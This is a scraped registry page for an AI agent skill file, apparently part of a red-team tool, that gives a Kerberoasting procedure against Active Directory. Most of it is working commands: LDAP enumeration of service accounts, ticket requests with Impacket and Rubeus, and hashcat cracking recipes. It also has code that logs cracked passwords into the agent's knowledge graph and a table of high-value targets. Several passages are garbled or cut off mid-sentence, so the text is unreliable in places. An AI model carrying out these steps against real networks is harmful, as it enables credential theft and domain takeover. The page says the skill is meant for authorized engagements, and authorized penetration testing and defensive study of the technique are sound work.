Request Kerberos TGS tickets for SPN-bound service accounts and crack offline with hashcat — classic AD priv-esc primitive.
80%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
Passed
No findings from the security scan
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/ad/kerberoasting/SKILL.mdAny valid domain user. No special privileges required.
In a hosted engagement, inspect the authorized collection through
bloodhound_mcp_find_objects and bloodhound_mcp_object_profile, or use a
bounded read-only bloodhound_mcp_cypher_query when the semantic tools do not
expose the SPN property. Confirm collection coverage first. In standalone OSS,
use the registered bhce_cypher tool against that instance.
Or LDAP-direct:
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
-b 'DC=corp,DC=local' \
'(&(samAccountType=805306368)(servicePrincipalName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' \
sAMAccountName servicePrincipalName > /tmp/spns.txtImpacket (most reliable):
GetUserSPNs.py DOM/USER:'PASS' -dc-ip DC_IP -request \
-outputfile /tmp/kerb.hashesRubeus (from Windows beachhead):
Rubeus.exe kerberoast /outfile:C:\Windows\Temp\k.txt /nowrapModern hashes are $krb5tgs$23$*user$DOM$spn*$<ciphertext> (RC4). If
forest is Win2012+, AES tickets may come back as $krb5tgs$18$*….
# RC4 (mode 13100)
hashcat -m 13100 -a 0 /tmp/kerb.hashes /usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
# AES256 (mode 19700)
hashcat -m 19700 -a 0 /tmp/kerb.hashes wordlist.txt
# Targeted rules for service-account passwords (often pattern-based)
hashcat -m 13100 -a 6 /tmp/kerb.hashes wordlist.txt '?d?d?d?d' \
--rules-file /usr/share/hashcat/rules/d3ad0ne.ruleService-account heuristics: 60-70% of kerberoasted accounts use:
SQLSvc2024!, IISWinter25)kg_add_node(kind="credential", label="USER:CRACKED_PASSWORD",
props={"source":"kerberoast","crack_time":"<n>m","mode":"hashcat-m13100"})
kg_add_edge(src=<cred>, dst=<user>, kind="authenticates")Whatever the service account can reach is now yours:
Ticket Encryption Type=0x17 (RC4) when the
service supports AES is anomalous-no-preauth to avoid lockout if doing manual TGS via kinitCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.0| SPN prefix | Likely account | Typical impact |
|---|---|---|
MSSQLSvc/ | SQL service account | Often local admin on DB host |
HTTP/sccm* | SCCM service | Often Domain Admin (misconfig) |
MSOLAPSvc.3/ | SSAS | Local admin on analysis server |
kadmin/changepw | KDC account | RARE — high value if hit |
exchangeMDB/ | Exchange recovery | Sometimes priv group |
PurpleAILAB/Decepticon
49888ee
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.